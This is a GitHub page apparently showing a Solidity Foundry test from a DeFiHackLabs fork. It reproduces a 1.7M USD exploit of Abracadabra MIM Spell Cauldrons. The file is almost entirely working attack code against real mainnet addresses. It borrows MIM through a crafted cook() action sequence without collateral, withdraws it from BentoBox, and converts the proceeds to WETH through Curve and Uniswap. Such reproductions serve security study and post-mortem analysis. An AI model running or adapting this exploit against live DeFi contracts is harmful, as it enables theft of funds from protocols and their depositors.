forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMIMSpell3_exp.sol
More file actions
215 lines (178 loc) · 7.56 KB
/
MIMSpell3_exp.sol
File metadata and controls
215 lines (178 loc) · 7.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
// SPDX-License-Identifier: UNLICENSED
// @KeyInfo - Total Lost : 1.7M USD
// Attacker : https://etherscan.io/address/0x1aaade3e9062d124b7deb0ed6ddc7055efa7354d
// Attack Contract : https://etherscan.io/address/0xb8e0a4758df2954063ca4ba3d094f2d6eda9b993
// Vulnerable Contract : https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c
// Attack Tx : https://etherscan.io/tx/0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c#code
// @Analysis
// Post-mortem : N/A
// Twitter Guy : N/A
// Hacking God : N/A
pragma solidity ^0.8.15;
import "../basetest.sol";
import "../interface.sol";
// Interfaces
interface IBentoBox {
function balanceOf(address token, address user) external view returns (uint256);
function toAmount(address token, uint256 share, bool roundUp) external view returns (uint256);
function withdraw(
address token,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
interface ICauldron {
function cook(
uint8[] calldata actions,
uint256[] calldata values,
bytes[] calldata datas
) external payable returns (uint256 value1, uint256 value2);
function borrowLimit() external view returns (uint128 total, uint128 borrowPartPerAddress);
}
interface ICurveRouter {
function exchange(
address[11] calldata route,
uint256[5][5] calldata swap_params,
uint256 amount,
uint256 expected,
address[5] calldata pools,
address receiver
) external returns (uint256);
}
interface ICurve3Pool {
function remove_liquidity(uint256 amount, uint256[3] calldata min_amounts) external returns (uint256[3] memory);
function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;
}
interface IUniswapV3Router {
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
function exactInput(
ExactInputParams calldata params
) external payable returns (uint256 amountOut);
}
contract MIMSpell3Exploit is BaseTestWithBalanceLog {
// Constants
uint256 private constant BLOCK_NUM_TO_FORK = 23_504_544;
// Pool indices for 3Pool
int128 private constant USDT_INDEX = 2;
// Uniswap V3 fee tier
uint24 private constant UNISWAP_V3_FEE_TIER = 500; // 0.05%
// Cauldron action types
uint8 private constant ACTION_REPAY = 5;
uint8 private constant ACTION_NO_OP = 0;
// Curve swap parameters
uint256 private constant INPUT_TOKEN_INDEX = 0;
uint256 private constant OUTPUT_TOKEN_INDEX = 1;
uint256 private constant SWAP_TYPE = 1;
uint256 private constant POOL_TYPE = 1;
uint256 private constant N_COINS = 2;
// Contract addresses
address private constant BENTOBOX = 0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce;
address private constant CURVE_ROUTER = 0x45312ea0eFf7E09C83CBE249fa1d7598c4C8cd4e;
address private constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
address private constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
// Token addresses
address private constant MIM = 0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3;
address private constant THREE_CRV = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490;
address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// Pool addresses
address private constant MIM_3CRV_POOL = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B;
// Cauldron addresses and debt amounts
address[6] private CAULDRONS = [
0x46f54d434063e5F1a2b2CC6d9AAa657b1B9ff82c,
0x289424aDD4A1A503870EB475FD8bF1D586b134ED,
0xce450a23378859fB5157F4C4cCCAf48faA30865B,
0x40d95C4b34127CF43438a963e7C066156C5b87a3,
0x6bcd99D6009ac1666b58CB68fB4A50385945CDA2,
0xC6D3b82f9774Db8F92095b5e4352a8bB8B0dC20d
];
function setUp() public {
vm.createSelectFork("mainnet", BLOCK_NUM_TO_FORK);
fundingToken = WETH;
}
function testExploit() public balanceLog {
_borrowFromAllCauldrons();
_withdrawAllMIMFromBentoBox();
_swapMIMTo3Crv();
_remove3PoolLiquidityToUSDT();
_swapUSDTToWETH();
}
function _borrowFromAllCauldrons() internal {
uint8[] memory actions = new uint8[](2);
actions[0] = ACTION_REPAY;
actions[1] = ACTION_NO_OP;
uint256[] memory values = new uint256[](2);
for (uint256 i = 0; i < CAULDRONS.length; i++) {
uint256 balavail = IBentoBox(BENTOBOX).balanceOf(MIM, CAULDRONS[i]);
(uint256 borrowlimit,) = ICauldron(CAULDRONS[i]).borrowLimit();
if (borrowlimit >= balavail) {
_borrowFromCauldron(CAULDRONS[i], actions, values, IBentoBox(BENTOBOX).toAmount(MIM, balavail, false));
}
}
}
function _borrowFromCauldron(
address cauldron,
uint8[] memory actions,
uint256[] memory values,
uint256 debtAmount
) internal {
bytes[] memory datas = new bytes[](2);
datas[0] = abi.encode(debtAmount, address(this));
datas[1] = hex"";
ICauldron(cauldron).cook(actions, values, datas);
}
function _withdrawAllMIMFromBentoBox() internal {
uint256 mimBalance = IBentoBox(BENTOBOX).balanceOf(MIM, address(this));
IBentoBox(BENTOBOX).withdraw(MIM, address(this), address(this), 0, mimBalance);
}
function _swapMIMTo3Crv() internal {
uint256 mimAmount = IERC20(MIM).balanceOf(address(this));
IERC20(MIM).approve(CURVE_ROUTER, mimAmount);
address[11] memory route;
route[0] = MIM;
route[1] = MIM_3CRV_POOL;
route[2] = THREE_CRV;
uint256[5][5] memory swapParams;
swapParams[0][0] = INPUT_TOKEN_INDEX;
swapParams[0][1] = OUTPUT_TOKEN_INDEX;
swapParams[0][2] = SWAP_TYPE;
swapParams[0][3] = POOL_TYPE;
swapParams[0][4] = N_COINS;
address[5] memory pools;
pools[0] = MIM_3CRV_POOL;
ICurveRouter(CURVE_ROUTER).exchange(route, swapParams, mimAmount, 0, pools, address(this));
}
function _remove3PoolLiquidityToUSDT() internal {
uint256 threeCrvBalance = IERC20(THREE_CRV).balanceOf(address(this));
IERC20(THREE_CRV).approve(CURVE_3POOL, threeCrvBalance);
// Remove liquidity as USDT only (index 2 in the 3Pool: DAI=0, USDC=1, USDT=2)
ICurve3Pool(CURVE_3POOL).remove_liquidity_one_coin(threeCrvBalance, USDT_INDEX, 0);
}
function _swapUSDTToWETH() internal {
uint256 usdtBalance = IERC20(USDT).balanceOf(address(this));
if (usdtBalance > 0) {
SafeTransferLib.safeApprove(IERC20(USDT), UNISWAP_V3_ROUTER, usdtBalance);
IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({
path: abi.encodePacked(USDT, UNISWAP_V3_FEE_TIER, WETH),
recipient: address(this),
deadline: block.timestamp,
amountIn: usdtBalance,
amountOutMinimum: 0
});
IUniswapV3Router(UNISWAP_V3_ROUTER).exactInput(params);
}
}
receive() external payable {}
}